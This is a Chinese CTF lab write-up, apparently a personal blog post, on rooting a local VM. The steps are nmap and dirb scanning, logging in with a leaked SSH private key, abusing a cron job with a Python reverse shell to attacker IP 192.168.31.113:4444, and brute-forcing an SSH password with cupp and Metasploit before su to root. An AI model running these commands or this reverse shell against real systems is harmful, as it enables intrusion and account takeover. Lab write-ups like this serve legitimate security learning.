声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。

ssh协议认证机制的弱点主要体现在两个方面:

一是基于口令验证时可以采用字典的暴力破解,即破解对应用户名和密码;

二是通过对主机的信息收集,获取到泄露的用户名和对应的密钥。

这次我们靶场的IP地址为192.168.31.95

探测靶场开放的服务与服务的版本:

nmap -sV 192.168.31.95

 

 

 

探测靶场全部信息:

nmap -A 192.168.31.95

探测靶场的操作系统类型与版本:

nmap -O 192.168.31.95

发现开放了http服务,先从这一块下手:

直接通过浏览器访问:

 

 通过dirb进行目录扫描:

dirb http://192.168.31.95

 

 

 发现值得点开看看的目录文件,第二个打开链接后:

 

发现了一个奇怪名字的txt

点开,发现是私钥信息:

 

也可以使用nikto去挖掘信息:

nikto -host 192.168.31.95

 

对于刚才挖掘到的私钥信息,我们可以用其来进行远程登陆。

先下载刚才发现的私钥文件并重命名以方便操作:

wget "http://192.168.31.95/icons/"

mv VDSoyuAXiO.txt id_rsa

 

修改权限:

chmod 600 id_rsa

用户名在哪儿呢?

尝试使用之前http信息收集时网站页面上的martin用户:

ssh -i id_rsa martin@192.168.31.95

 

 登陆成功,并查看一下文件。

 

 切换到/home目录,看看有哪些用户。

 

 一般情况下呢,flag文件只属于root用户以及对应的用户组。

通过id命令查看权限,发现martin仅仅是普通用户,并不具有root权限:

 

 所以我们需要进一步的提权。

查看所有用户:

cat /etc/passwd

查看所有用户组:

cat /etc/group

查看属于某些用户的文件:

find / -user 用户名

 

 

在ctf中我们常常要注意/etc/crontab文件。

cat /etc/crontab

挖掘其他用户是否有定时任务,并查看对应的任务内容。这种任务一般对应靶机的某个文件。

那么如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限以及当前用户是否具有读写权限。

 

 

 发现有一个jimmy用户的定时任务,但是/tmp目录下并没有这个文件

 

 

我们可以构造反弹shell,代码如下:

#!/usr/bin/python
import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.31.113","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

在靶机的/tmp目录下直接通过touch命令新建sekurity.py文件,并通过vi更改内容,将上段反弹shell写入sekurity.py内。

攻击机则在终端中使用netcat命令进行监听:

nc -lvp 4444

最好事先查看一下未被占用的端口号:

netstat -pantu

然后等待反弹。

然后发现变成以Jimmy登录服务器了,可惜还是不是root权限,只是个普通用户,并且没有对应的密码和账号。

martin和jimmy都不行,那就只好暴力破解最后一个用户名hadi了。

 

暴力破解

先利用cupp创建字典文件:

git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py
./cupp.py -i

 

 字典文件创建成功。

 

然后使用metasploit结合上述字典文件破解ssh

msfconsole

  msf5 > use auxiliary/scanner/ssh/ssh_login

  msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.31.95

  msf5 auxiliary(scanner/ssh/ssh_login) > set username hadi

  msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/Desktop/common-password/hadi.txt

  msf5 auxiliary(scanner/ssh/ssh_login) > set threads 5

  msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true

  msf5 auxiliary(scanner/ssh/ssh_login) > run

开始暴力破解。

最后破解成功,密码为hadi123

打开会话:

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1

这种显示方式并不友好,优化一下:

python -c "import pty;pty.spawn('/bin/bash')"

 

 显示效果好了很多。

因为我们知道密码了,所以直接使用提权命令:

su - root

 

 

 

 提权成功并获得root权限,然后查看flag文件:

 

 此题结。